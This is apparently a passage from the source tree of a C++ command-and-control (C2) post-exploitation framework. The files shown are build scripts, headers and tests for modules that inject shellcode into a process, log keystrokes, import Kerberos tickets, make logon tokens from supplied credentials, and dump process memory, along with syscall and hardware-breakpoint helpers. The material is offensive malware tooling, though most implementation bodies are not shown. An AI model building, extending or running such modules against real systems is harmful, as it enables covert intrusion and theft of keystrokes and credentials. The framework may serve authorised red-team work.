| int pid = launchProcess("C:\\Windows\\System32\\notepad.exe"); 35 | std::cout << "notepad pid " << pid << std::endl; 36 | 37 | std::vector splitedCmd; 38 | splitedCmd.push_back("inject"); 39 | splitedCmd.push_back("-e"); 40 | splitedCmd.push_back(shellCodeFile); 41 | splitedCmd.push_back(std::to_string(pid)); 42 | 43 | C2Message c2Message; 44 | C2Message c2RetMessage; 45 | inject->init(splitedCmd, c2Message); 46 | inject->process(c2Message, c2RetMessage); 47 | 48 | std::string output = "\n\noutput:\n"; 49 | output += c2RetMessage.returnvalue(); 50 | output += "\n"; 51 | std::cout << output << std::endl; 52 | #endif 53 | } 54 | 55 | return true; 56 | } 57 | -------------------------------------------------------------------------------- /modules/KerberosUseTicket/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | include_directories(../) 2 | add_library(KerberosUseTicket SHARED KerberosUseTicket.cpp) 3 | set_property(TARGET KerberosUseTicket PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") 4 | target_link_libraries(KerberosUseTicket ) 5 | add_custom_command(TARGET KerberosUseTicket POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 6 | $ "${CMAKE_SOURCE_DIR}/Release/Modules/$") 7 | 8 | if(WITH_TESTS) 9 | add_executable(testsKerberosUseTicket tests/testsKerberosUseTicket.cpp KerberosUseTicket.cpp) 10 | target_link_libraries(testsKerberosUseTicket ) 11 | add_custom_command(TARGET testsKerberosUseTicket POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 12 | $ "${CMAKE_SOURCE_DIR}/Tests/$") 13 | 14 | add_test(NAME testsKerberosUseTicket COMMAND "${CMAKE_SOURCE_DIR}/Tests/$") 15 | endif() -------------------------------------------------------------------------------- /modules/KerberosUseTicket/KerberosUseTicket.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "ModuleCmd.hpp" 4 | 5 | 6 | class KerberosUseTicket : public ModuleCmd 7 | { 8 | 9 | public: 10 | KerberosUseTicket(); 11 | ~KerberosUseTicket(); 12 | 13 | std::string getInfo(); 14 | 15 | int init(std::vector& splitedCmd, C2Message& c2Message); 16 | int process(C2Message& c2Message, C2Message& c2RetMessage); 17 | int osCompatibility() 18 | { 19 | return OS_WINDOWS; 20 | } 21 | 22 | private: 23 | std::string importTicket(const std::string& ticket); 24 | }; 25 | 26 | 27 | #ifdef _WIN32 28 | 29 | extern "C" __declspec(dllexport) KerberosUseTicket * KerberosUseTicketConstructor(); 30 | 31 | #else 32 | 33 | extern "C" __attribute__((visibility("default"))) KerberosUseTicket * KerberosUseTicketConstructor(); 34 | 35 | #endif 36 | -------------------------------------------------------------------------------- /modules/KerberosUseTicket/tests/testsKerberosUseTicket.cpp: -------------------------------------------------------------------------------- 1 | #include "../KerberosUseTicket.hpp" 2 | 3 | #ifdef __linux__ 4 | #elif _WIN32 5 | #include 6 | #endif 7 | 8 | bool testKerberosUseTicket(); 9 | 10 | int main() 11 | { 12 | bool res; 13 | 14 | std::cout << "[+] testKerberosUseTicket" << std::endl; 15 | res = testKerberosUseTicket(); 16 | if (res) 17 | std::cout << "[+] Sucess" << std::endl; 18 | else 19 | std::cout << "[-] Failed" << std::endl; 20 | 21 | return 0; 22 | } 23 | 24 | 25 | bool testKerberosUseTicket() 26 | { 27 | // std::unique_ptr KerberosUseTicket = std::make_unique(); 28 | // { 29 | // } 30 | 31 | return false; 32 | } -------------------------------------------------------------------------------- /modules/KeyLogger/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | include_directories(../) 2 | add_library(KeyLogger SHARED KeyLogger.cpp) 3 | set_property(TARGET KeyLogger PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") 4 | target_link_libraries(KeyLogger ) 5 | add_custom_command(TARGET KeyLogger POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 6 | $ "${CMAKE_SOURCE_DIR}/Release/Modules/$") 7 | 8 | # if(WITH_TESTS) 9 | add_executable(testsKeyLogger tests/testsKeyLogger.cpp KeyLogger.cpp) 10 | target_link_libraries(testsKeyLogger ) 11 | add_custom_command(TARGET testsKeyLogger POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 12 | $ "${CMAKE_SOURCE_DIR}/Tests/$") 13 | 14 | add_test(NAME testsKeyLogger COMMAND "${CMAKE_SOURCE_DIR}/Tests/$") 15 | # endif() -------------------------------------------------------------------------------- /modules/KeyLogger/KeyLogger.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "ModuleCmd.hpp" 4 | #include 5 | 6 | 7 | class KeyLogger : public ModuleCmd 8 | { 9 | 10 | public: 11 | KeyLogger(); 12 | ~KeyLogger(); 13 | 14 | std::string getInfo(); 15 | 16 | int init(std::vector& splitedCmd, C2Message& c2Message); 17 | int process(C2Message& c2Message, C2Message& c2RetMessage); 18 | int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg); 19 | int recurringExec(C2Message& c2RetMessage); 20 | int followUp(const C2Message &c2RetMessage); 21 | int osCompatibility() 22 | { 23 | return OS_WINDOWS; 24 | } 25 | 26 | bool getIsThreadLaunched() 27 | { 28 | return m_isThreadLaunched; 29 | } 30 | 31 | int setKey(char charPressed) 32 | { 33 | std::lock_guard guard(m_mutex); 34 | m_saveKeyStrock.push_back(charPressed); 35 | return 0; 36 | } 37 | 38 | int dumpKeys(std::string& output) 39 | { 40 | std::lock_guard guard(m_mutex); 41 | output = m_saveKeyStrock; 42 | m_saveKeyStrock.clear(); 43 | return 0; 44 | } 45 | 46 | private: 47 | int threadID; 48 | bool m_isThreadLaunched; 49 | std::string m_saveKeyStrock; 50 | std::mutex m_mutex; 51 | 52 | static void run(void* keyLoggerPtr); 53 | 54 | }; 55 | 56 | 57 | #ifdef _WIN32 58 | 59 | extern "C" __declspec(dllexport) KeyLogger * KeyLoggerConstructor(); 60 | 61 | #else 62 | 63 | extern "C" __attribute__((visibility("default"))) KeyLogger * KeyLoggerConstructor(); 64 | 65 | #endif 66 | -------------------------------------------------------------------------------- /modules/KeyLogger/tests/testsKeyLogger.cpp: -------------------------------------------------------------------------------- 1 | #include "../KeyLogger.hpp" 2 | 3 | #ifdef __linux__ 4 | #elif _WIN32 5 | #include 6 | #endif 7 | 8 | #include 9 | #include 10 | 11 | 12 | bool testKeyLogger(); 13 | 14 | int main() 15 | { 16 | bool res; 17 | 18 | std::cout << "[+] testKeyLogger" << std::endl; 19 | res = testKeyLogger(); 20 | if (res) 21 | std::cout << "[+] Sucess" << std::endl; 22 | else 23 | std::cout << "[-] Failed" << std::endl; 24 | 25 | return 0; 26 | } 27 | 28 | bool testKeyLogger() 29 | { 30 | 31 | std::unique_ptr keyLogger = std::make_unique(); 32 | { 33 | C2Message c2Message; 34 | c2Message.set_instruction("keyLogger"); 35 | c2Message.set_args("start"); 36 | 37 | C2Message c2RetMessage; 38 | keyLogger->process(c2Message, c2RetMessage); 39 | 40 | std::this_thread::sleep_for (std::chrono::seconds(20)); 41 | 42 | keyLogger->recurringExec(c2RetMessage) ; 43 | keyLogger->followUp(c2RetMessage); 44 | 45 | std::vector splitedCmd; 46 | splitedCmd.push_back("keyLogger"); 47 | splitedCmd.push_back("get"); 48 | C2Message c2MessageFinal; 49 | keyLogger->init(splitedCmd, c2MessageFinal); 50 | 51 | std::cout << "Result:\n" << c2MessageFinal.returnvalue() << std::endl; 52 | } 53 | 54 | return true; 55 | } 56 | -------------------------------------------------------------------------------- /modules/ListDirectory/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | include_directories(../) 2 | add_library(ListDirectory SHARED ListDirectory.cpp) 3 | target_link_libraries(ListDirectory ) 4 | set_property(TARGET ListDirectory PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") 5 | add_custom_command(TARGET ListDirectory POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 6 | $ "${CMAKE_SOURCE_DIR}/Release/Modules/$") 7 | 8 | if(WITH_TESTS) 9 | add_executable(testsListDirectory tests/testsListDirectory.cpp ListDirectory.cpp) 10 | target_link_libraries(testsListDirectory ) 11 | add_custom_command(TARGET testsListDirectory POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 12 | $ "${CMAKE_SOURCE_DIR}/Tests/$") 13 | 14 | add_test(NAME testsListDirectory COMMAND "${CMAKE_SOURCE_DIR}/Tests/$") 15 | endif() -------------------------------------------------------------------------------- /modules/ListDirectory/ListDirectory.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "ModuleCmd.hpp" 4 | 5 | 6 | class ListDirectory : public ModuleCmd 7 | { 8 | 9 | public: 10 | ListDirectory(); 11 | ~ListDirectory(); 12 | 13 | std::string getInfo(); 14 | 15 | int init(std::vector& splitedCmd, C2Message& c2Message); 16 | int process(C2Message& c2Message, C2Message& c2RetMessage); 17 | int osCompatibility() 18 | { 19 | return OS_LINUX | OS_WINDOWS; 20 | } 21 | 22 | private: 23 | std::string listDirectory(const std::string& path); 24 | 25 | }; 26 | 27 | 28 | #ifdef _WIN32 29 | 30 | extern "C" __declspec(dllexport) ListDirectory * ListDirectoryConstructor(); 31 | 32 | #else 33 | 34 | extern "C" __attribute__((visibility("default"))) ListDirectory * ListDirectoryConstructor(); 35 | 36 | #endif 37 | -------------------------------------------------------------------------------- /modules/ListDirectory/tests/testsListDirectory.cpp: -------------------------------------------------------------------------------- 1 | #include "../ListDirectory.hpp" 2 | 3 | #ifdef __linux__ 4 | #elif _WIN32 5 | #include 6 | #endif 7 | 8 | bool testListDirectory(); 9 | 10 | int main() 11 | { 12 | bool res; 13 | 14 | std::cout << "[+] testListDirectory" << std::endl; 15 | res = testListDirectory(); 16 | if (res) 17 | std::cout << "[+] Sucess" << std::endl; 18 | else 19 | std::cout << "[-] Failed" << std::endl; 20 | 21 | return !res; 22 | } 23 | 24 | bool testListDirectory() 25 | { 26 | std::unique_ptr listDirectory = std::make_unique(); 27 | 28 | { 29 | std::vector splitedCmd; 30 | splitedCmd.push_back("ls"); 31 | 32 | C2Message c2Message; 33 | C2Message c2RetMessage; 34 | listDirectory->init(splitedCmd, c2Message); 35 | listDirectory->process(c2Message, c2RetMessage); 36 | 37 | std::string output = "\n\noutput:\n"; 38 | output += c2RetMessage.returnvalue(); 39 | output += "\n"; 40 | std::cout << output << std::endl; 41 | } 42 | { 43 | std::vector splitedCmd; 44 | splitedCmd.push_back("ls"); 45 | splitedCmd.push_back("/tmp"); 46 | 47 | C2Message c2Message; 48 | C2Message c2RetMessage; 49 | listDirectory->init(splitedCmd, c2Message); 50 | listDirectory->process(c2Message, c2RetMessage); 51 | 52 | std::string output = "\n\noutput:\n"; 53 | output += c2RetMessage.returnvalue(); 54 | output += "\n"; 55 | std::cout << output << std::endl; 56 | } 57 | { 58 | std::vector splitedCmd; 59 | splitedCmd.push_back("ls"); 60 | splitedCmd.push_back("gsdgsg"); 61 | 62 | C2Message c2Message; 63 | C2Message c2RetMessage; 64 | listDirectory->init(splitedCmd, c2Message); 65 | listDirectory->process(c2Message, c2RetMessage); 66 | 67 | std::string output = "\n\noutput:\n"; 68 | output += c2RetMessage.returnvalue(); 69 | output += "\n"; 70 | std::cout << output << std::endl; 71 | } 72 | { 73 | std::vector splitedCmd; 74 | splitedCmd.push_back("ls"); 75 | splitedCmd.push_back("."); 76 | 77 | C2Message c2Message; 78 | C2Message c2RetMessage; 79 | listDirectory->init(splitedCmd, c2Message); 80 | listDirectory->process(c2Message, c2RetMessage); 81 | 82 | std::string output = "\n\noutput:\n"; 83 | output += c2RetMessage.returnvalue(); 84 | output += "\n"; 85 | std::cout << output << std::endl; 86 | } 87 | { 88 | std::vector splitedCmd; 89 | splitedCmd.push_back("ls"); 90 | splitedCmd.push_back("C:\\"); 91 | 92 | C2Message c2Message; 93 | C2Message c2RetMessage; 94 | listDirectory->init(splitedCmd, c2Message); 95 | listDirectory->process(c2Message, c2RetMessage); 96 | 97 | std::string output = "\n\noutput:\n"; 98 | output += c2RetMessage.returnvalue(); 99 | output += "\n"; 100 | std::cout << output << std::endl; 101 | } 102 | 103 | return true; 104 | } 105 | -------------------------------------------------------------------------------- /modules/ListProcesses/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | include_directories(../) 2 | add_library(ListProcesses SHARED ListProcesses.cpp) 3 | set_property(TARGET ListProcesses PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") 4 | target_link_libraries(ListProcesses ) 5 | add_custom_command(TARGET ListProcesses POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 6 | $ "${CMAKE_SOURCE_DIR}/Release/Modules/$") 7 | 8 | if(WITH_TESTS) 9 | add_executable(testsListProcesses tests/testsListProcesses.cpp ListProcesses.cpp) 10 | target_link_libraries(testsListProcesses ) 11 | add_custom_command(TARGET testsListProcesses POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 12 | $ "${CMAKE_SOURCE_DIR}/Tests/$") 13 | 14 | add_test(NAME testsListProcesses COMMAND "${CMAKE_SOURCE_DIR}/Tests/$") 15 | endif() -------------------------------------------------------------------------------- /modules/ListProcesses/ListProcesses.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "ModuleCmd.hpp" 4 | 5 | 6 | class ListProcesses : public ModuleCmd 7 | { 8 | 9 | public: 10 | ListProcesses(); 11 | ~ListProcesses(); 12 | 13 | std::string getInfo(); 14 | 15 | int init(std::vector& splitedCmd, C2Message& c2Message); 16 | int process(C2Message& c2Message, C2Message& c2RetMessage); 17 | int osCompatibility() 18 | { 19 | return OS_LINUX | OS_WINDOWS; 20 | } 21 | 22 | private: 23 | std::string listProcesses(); 24 | 25 | }; 26 | 27 | 28 | #ifdef _WIN32 29 | 30 | extern "C" __declspec(dllexport) ListProcesses * ListProcessesConstructor(); 31 | 32 | #else 33 | 34 | extern "C" __attribute__((visibility("default"))) ListProcesses * ListProcessesConstructor(); 35 | 36 | #endif -------------------------------------------------------------------------------- /modules/ListProcesses/tests/testsListProcesses.cpp: -------------------------------------------------------------------------------- 1 | #include "../ListProcesses.hpp" 2 | 3 | #ifdef __linux__ 4 | #elif _WIN32 5 | #include 6 | #endif 7 | 8 | bool testListProcesses(); 9 | 10 | int main() 11 | { 12 | bool res; 13 | 14 | std::cout << "[+] testListProcesses" << std::endl; 15 | res = testListProcesses(); 16 | if (res) 17 | std::cout << "[+] Sucess" << std::endl; 18 | else 19 | std::cout << "[-] Failed" << std::endl; 20 | 21 | return 0; 22 | } 23 | 24 | bool testListProcesses() 25 | { 26 | std::unique_ptr listProcesses = std::make_unique(); 27 | { 28 | std::vector splitedCmd; 29 | splitedCmd.push_back("ps"); 30 | 31 | C2Message c2Message; 32 | C2Message c2RetMessage; 33 | listProcesses->init(splitedCmd, c2Message); 34 | listProcesses->process(c2Message, c2RetMessage); 35 | 36 | std::string output = "\n\noutput:\n"; 37 | output += c2RetMessage.returnvalue(); 38 | output += "\n"; 39 | std::cout << output << std::endl; 40 | } 41 | 42 | return true; 43 | } 44 | -------------------------------------------------------------------------------- /modules/MakeToken/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | include_directories(../) 2 | add_library(MakeToken SHARED MakeToken.cpp) 3 | set_property(TARGET MakeToken PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") 4 | target_link_libraries(MakeToken ) 5 | add_custom_command(TARGET MakeToken POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 6 | $ "${CMAKE_SOURCE_DIR}/Release/Modules/$") 7 | 8 | if(WITH_TESTS) 9 | add_executable(testsMakeToken tests/testsMakeToken.cpp MakeToken.cpp) 10 | target_link_libraries(testsMakeToken ) 11 | add_custom_command(TARGET testsMakeToken POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 12 | $ "${CMAKE_SOURCE_DIR}/Tests/$") 13 | 14 | add_test(NAME testsMakeToken COMMAND "${CMAKE_SOURCE_DIR}/Tests/$") 15 | endif() -------------------------------------------------------------------------------- /modules/MakeToken/MakeToken.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "ModuleCmd.hpp" 4 | 5 | 6 | class MakeToken : public ModuleCmd 7 | { 8 | 9 | public: 10 | MakeToken(); 11 | ~MakeToken(); 12 | 13 | std::string getInfo(); 14 | 15 | int init(std::vector& splitedCmd, C2Message& c2Message); 16 | int process(C2Message& c2Message, C2Message& c2RetMessage); 17 | int osCompatibility() 18 | { 19 | return OS_WINDOWS; 20 | } 21 | 22 | private: 23 | std::string makeToken(const std::string& username, const std::string& domain, const std::string& password); 24 | }; 25 | 26 | 27 | #ifdef _WIN32 28 | 29 | extern "C" __declspec(dllexport) MakeToken * MakeTokenConstructor(); 30 | 31 | #else 32 | 33 | extern "C" __attribute__((visibility("default"))) MakeToken * MakeTokenConstructor(); 34 | 35 | #endif 36 | -------------------------------------------------------------------------------- /modules/MakeToken/tests/testsMakeToken.cpp: -------------------------------------------------------------------------------- 1 | #include "../MakeToken.hpp" 2 | 3 | #ifdef __linux__ 4 | #elif _WIN32 5 | #include 6 | #endif 7 | 8 | bool testMakeToken(); 9 | 10 | int main() 11 | { 12 | bool res; 13 | 14 | std::cout << "[+] testMakeToken" << std::endl; 15 | res = testMakeToken(); 16 | if(res) 17 | std::cout << "[+] Sucess" << std::endl; 18 | else 19 | std::cout << "[-] Failed" << std::endl; 20 | 21 | return 0; 22 | } 23 | 24 | 25 | bool testMakeToken() 26 | { 27 | std::unique_ptr makeToken = std::make_unique(); 28 | { 29 | std::vector splitedCmd; 30 | splitedCmd.push_back("makeToken"); 31 | splitedCmd.push_back("MARVEL\\Administrator"); 32 | splitedCmd.push_back("P@$$w0rd!"); 33 | 34 | C2Message c2Message; 35 | C2Message c2RetMessage; 36 | makeToken->init(splitedCmd, c2Message); 37 | makeToken->process(c2Message, c2RetMessage); 38 | 39 | std::string output = "\n\noutput:\n"; 40 | output += c2RetMessage.returnvalue(); 41 | output += "\n"; 42 | std::cout << output << std::endl; 43 | } 44 | { 45 | std::vector splitedCmd; 46 | splitedCmd.push_back("makeToken"); 47 | splitedCmd.push_back("toto"); 48 | splitedCmd.push_back("password"); 49 | 50 | C2Message c2Message; 51 | C2Message c2RetMessage; 52 | makeToken->init(splitedCmd, c2Message); 53 | makeToken->process(c2Message, c2RetMessage); 54 | 55 | std::string output = "\n\noutput:\n"; 56 | output += c2RetMessage.returnvalue(); 57 | output += "\n"; 58 | std::cout << output << std::endl; 59 | } 60 | { 61 | std::vector splitedCmd; 62 | splitedCmd.push_back("makeToken"); 63 | splitedCmd.push_back("DEV\\"); 64 | splitedCmd.push_back("password"); 65 | 66 | C2Message c2Message; 67 | C2Message c2RetMessage; 68 | makeToken->init(splitedCmd, c2Message); 69 | makeToken->process(c2Message, c2RetMessage); 70 | 71 | std::string output = "\n\noutput:\n"; 72 | output += c2RetMessage.returnvalue(); 73 | output += "\n"; 74 | std::cout << output << std::endl; 75 | } 76 | { 77 | std::vector splitedCmd; 78 | splitedCmd.push_back("makeToken"); 79 | splitedCmd.push_back("DEV\\toto"); 80 | 81 | C2Message c2Message; 82 | C2Message c2RetMessage; 83 | makeToken->init(splitedCmd, c2Message); 84 | makeToken->process(c2Message, c2RetMessage); 85 | 86 | std::string output = "\n\noutput:\n"; 87 | output += c2RetMessage.returnvalue(); 88 | output += "\n"; 89 | std::cout << output << std::endl; 90 | } 91 | 92 | return true; 93 | } 94 | -------------------------------------------------------------------------------- /modules/MiniDump/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | include_directories(../) 2 | 3 | if(WIN32) 4 | add_library(MiniDump SHARED MiniDump.cpp ../ModuleCmd/syscall.cpp ../ModuleCmd/syscall.x64.obj) 5 | else() 6 | add_library(MiniDump SHARED MiniDump.cpp) 7 | endif() 8 | 9 | set_property(TARGET MiniDump PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") 10 | target_link_libraries(MiniDump ${Donut}) 11 | 12 | 13 | add_custom_command(TARGET MiniDump POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 14 | $ "${CMAKE_SOURCE_DIR}/Release/Modules/$") 15 | 16 | 17 | if(WITH_TESTS) 18 | if(WIN32) 19 | add_executable(testsMiniDump tests/testsMiniDump.cpp MiniDump.cpp ../ModuleCmd/syscall.cpp ../ModuleCmd/syscall.x64.obj) 20 | else() 21 | add_executable(testsMiniDump tests/testsMiniDump.cpp MiniDump.cpp) 22 | endif() 23 | set_property(TARGET testsMiniDump PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") 24 | target_link_libraries(testsMiniDump ${Donut}) 25 | 26 | add_custom_command(TARGET testsMiniDump POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 27 | $ "${CMAKE_SOURCE_DIR}/Tests/$") 28 | 29 | add_test(NAME testsMiniDump COMMAND "${CMAKE_SOURCE_DIR}/Tests/$") 30 | endif() -------------------------------------------------------------------------------- /modules/MiniDump/MiniDump.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "ModuleCmd.hpp" 4 | #include "Common.hpp" 5 | 6 | 7 | class MiniDump : public ModuleCmd 8 | { 9 | public: 10 | MiniDump(); 11 | ~MiniDump(); 12 | 13 | std::string getInfo(); 14 | 15 | int init(std::vector& splitedCmd, C2Message& c2Message); 16 | int process(C2Message& c2Message, C2Message& c2RetMessage); 17 | int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg); 18 | int osCompatibility() 19 | { 20 | return OS_WINDOWS; 21 | } 22 | 23 | private: 24 | 25 | }; 26 | 27 | 28 | #ifdef _WIN32 29 | 30 | extern "C" __declspec(dllexport) MiniDump * MiniDumpConstructor(); 31 | 32 | #else 33 | 34 | extern "C" __attribute__((visibility("default"))) MiniDump * MiniDumpConstructor(); 35 | 36 | #endif 37 | -------------------------------------------------------------------------------- /modules/MiniDump/tests/testsMiniDump.cpp: -------------------------------------------------------------------------------- 1 | #include "../MiniDump.hpp" 2 | 3 | #include 4 | 5 | #ifdef __linux__ 6 | #elif _WIN32 7 | #include 8 | #endif 9 | 10 | bool testMinidump(); 11 | 12 | int main() 13 | { 14 | bool res; 15 | 16 | std::cout << "[+] testMinidump" << std::endl; 17 | res = testMinidump(); 18 | if (res) 19 | std::cout << "[+] Sucess" << std::endl; 20 | else 21 | std::cout << "[-] Failed" << std::endl; 22 | 23 | return !res; 24 | } 25 | 26 | 27 | bool testMinidump() 28 | { 29 | return true; 30 | } -------------------------------------------------------------------------------- /modules/ModuleCmd/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | 2 | if(WITH_TESTS) 3 | add_executable(testsModuleCmd tests/testsModuleCmd.cpp ../../../thirdParty/base64/base64.cpp) 4 | target_link_libraries(testsModuleCmd ) 5 | add_custom_command(TARGET testsModuleCmd POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 6 | $ "${CMAKE_SOURCE_DIR}/Tests/$") 7 | add_test(NAME testsModuleCmd COMMAND "${CMAKE_SOURCE_DIR}/Tests/$") 8 | 9 | add_executable(testsTools tests/testsTools.cpp ../../../thirdParty/base64/base64.cpp) 10 | target_link_libraries(testsTools ) 11 | add_custom_command(TARGET testsTools POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 12 | $ "${CMAKE_SOURCE_DIR}/Tests/$") 13 | add_test(NAME testsTools COMMAND "${CMAKE_SOURCE_DIR}/Tests/$") 14 | 15 | if(WIN32) 16 | add_executable(testsSyscall tests/testsSyscall.cpp ./syscall.cpp ./syscall.x64.obj) 17 | target_link_libraries(testsSyscall ) 18 | add_custom_command(TARGET testsSyscall POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 19 | $ "${CMAKE_SOURCE_DIR}/Tests/$") 20 | add_test(NAME testsSyscall COMMAND "${CMAKE_SOURCE_DIR}/Tests/$") 21 | 22 | add_executable(testsHwbp tests/testsHwbp.cpp ./hwbp.cpp ./peb.cpp) 23 | target_link_libraries(testsHwbp ) 24 | add_custom_command(TARGET testsHwbp POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 25 | $ "${CMAKE_SOURCE_DIR}/Tests/$") 26 | add_test(NAME testsHwbp COMMAND "${CMAKE_SOURCE_DIR}/Tests/$") 27 | endif() 28 | endif() -------------------------------------------------------------------------------- /modules/ModuleCmd/ModuleCmd.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #include 12 | 13 | 14 | enum OSCompatibility { 15 | OS_NONE = 0, 16 | OS_LINUX = 1 << 0, // 0001 17 | OS_MAC = 1 << 1, // 0010 18 | OS_WINDOWS = 1 << 2, // 0100 19 | OS_ALL = OS_LINUX | OS_MAC | OS_WINDOWS 20 | }; 21 | 22 | 23 | // 24 | // ModuleCmd 25 | // 26 | class ModuleCmd 27 | { 28 | 29 | public: 30 | ModuleCmd(const std::string& name, unsigned long long hash=0) 31 | { 32 | m_name=name; 33 | m_hash=hash; 34 | } 35 | 36 | ~ModuleCmd() 37 | { 38 | 39 | } 40 | 41 | std::string getName() 42 | { 43 | return m_name; 44 | } 45 | 46 | unsigned long long getHash() 47 | { 48 | return m_hash; 49 | } 50 | 51 | int setDirectories( const std::string& teamServerModulesDirectoryPath, 52 | const std::string& linuxModulesDirectoryPath, 53 | const std::string& windowsModulesDirectoryPath, 54 | const std::string& linuxBeaconsDirectoryPath, 55 | const std::string& windowsBeaconsDirectoryPath, 56 | const std::string& toolsDirectoryPath, 57 | const std::string& scriptsDirectoryPath) 58 | { 59 | m_teamServerModulesDirectoryPath=teamServerModulesDirectoryPath; 60 | m_linuxModulesDirectoryPath=linuxModulesDirectoryPath; 61 | m_windowsModulesDirectoryPath=windowsModulesDirectoryPath; 62 | m_linuxBeaconsDirectoryPath=linuxBeaconsDirectoryPath; 63 | m_windowsBeaconsDirectoryPath=windowsBeaconsDirectoryPath; 64 | m_toolsDirectoryPath=toolsDirectoryPath; 65 | m_scriptsDirectoryPath=scriptsDirectoryPath; 66 | 67 | return 0; 68 | }; 69 | 70 | virtual std::string getInfo() = 0; 71 | 72 | // if an error ocurre: 73 | // set_returnvalue(errorMsg) && return -1 74 | virtual int init(std::vector& splitedCmd, C2Message& c2Message) = 0; 75 | virtual int initConfig(const nlohmann::json &config) {return 0;}; 76 | virtual int process(C2Message& c2Message, C2Message& c2RetMessage) = 0; 77 | virtual int followUp(const C2Message &c2RetMessage) {return 0;}; 78 | virtual int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg) {return 0;}; 79 | virtual int recurringExec (C2Message& c2RetMessage) {return 0;}; 80 | virtual int osCompatibility () {return OS_NONE;}; 81 | 82 | protected: 83 | std::string m_name; 84 | unsigned long long m_hash; 85 | 86 | std::string m_teamServerModulesDirectoryPath; 87 | std::string m_linuxModulesDirectoryPath; 88 | std::string m_windowsModulesDirectoryPath; 89 | std::string m_linuxBeaconsDirectoryPath; 90 | std::string m_windowsBeaconsDirectoryPath; 91 | std::string m_toolsDirectoryPath; 92 | std::string m_scriptsDirectoryPath; 93 | 94 | private: 95 | 96 | }; 97 | -------------------------------------------------------------------------------- /modules/ModuleCmd/README.md: -------------------------------------------------------------------------------- 1 | # Syscall 2 | 3 | see https://github.com/klezVirus/SysWhispers3 4 | 5 | First you need to compile syscall.x64.asm from a windows machine using: 6 | 7 | ``` 8 | ML64 /c syscall.x64.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 9 | ``` -------------------------------------------------------------------------------- /modules/ModuleCmd/hwbp.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #if _WIN32 4 | 5 | 6 | #include 7 | 8 | 9 | #define STATUS_UNSUCCESSFUL 0xC0000001 10 | 11 | // debug register go from 0 to 3 12 | #define NT_DEVICE_IO_CONTROL_FILE_INDEX 0 13 | #define CREATE_FILE_INDEX 1 14 | 15 | // hwbp related macros, simplify x64/x86 support 16 | 17 | typedef LONG (CALLBACK* exception_callback)(PEXCEPTION_POINTERS); 18 | 19 | #ifdef _WIN64 20 | #define EXCEPTION_CODE(e) (e->ExceptionRecord->ExceptionCode) 21 | #define EXCEPTION_CURRENT_IP(e) ((PVOID)e->ContextRecord->Rip) 22 | #define EXCEPTION_SET_IP( e, p ) e->ContextRecord->Rip = p 23 | #define EXCEPTION_SET_RET( e, r ) e->ContextRecord->Rax = r 24 | #define EXCEPTION_RESUME( e ) e->ContextRecord->EFlags = ( 1 << 16 ) 25 | #define EXCEPTION_GET_RET( e ) *( PVOID* ) ( e->ContextRecord->Rsp ) 26 | #define EXCEPTION_ADJ_STACK( e, i ) e->ContextRecord->Rsp += i 27 | #define EXCEPTION_ARG_1( e ) ( e->ContextRecord->Rcx ) 28 | #define EXCEPTION_ARG_2( e ) ( e->ContextRecord->Rdx ) 29 | #else 30 | #define EXCEPTION_CODE( e ) (e->ExceptionRecord->ExceptionCode) 31 | #define EXCEPTION_CURRENT_IP( e ) ((PVOID)e->ContextRecord->Eip) 32 | #define EXCEPTION_SET_IP( e, p ) e->ContextRecord->Eip = p 33 | #define EXCEPTION_SET_RET( e, r ) e->ContextRecord->Eax = r 34 | #define EXCEPTION_RESUME( e ) e->ContextRecord->EFlags = ( 1 << 16 ) 35 | #define EXCEPTION_GET_RET( e ) *( PVOID* ) ( e->ContextRecord->Esp ) 36 | #define EXCEPTION_ADJ_STACK( e, i ) e->ContextRecord->Esp += i 37 | #define EXCEPTION_ARG_1( e ) *(PVOID*)(e->ContextRecord->Esp + sizeof(PVOID)) 38 | #define EXCEPTION_ARG_2( e ) *(PVOID*)(e->ContextRecord->Esp + sizeof(PVOID)*2) 39 | #endif 40 | 41 | 42 | ULONG_PTR set_bits( 43 | ULONG_PTR dw, 44 | int lowBit, 45 | int bits, 46 | ULONG_PTR newValue); 47 | 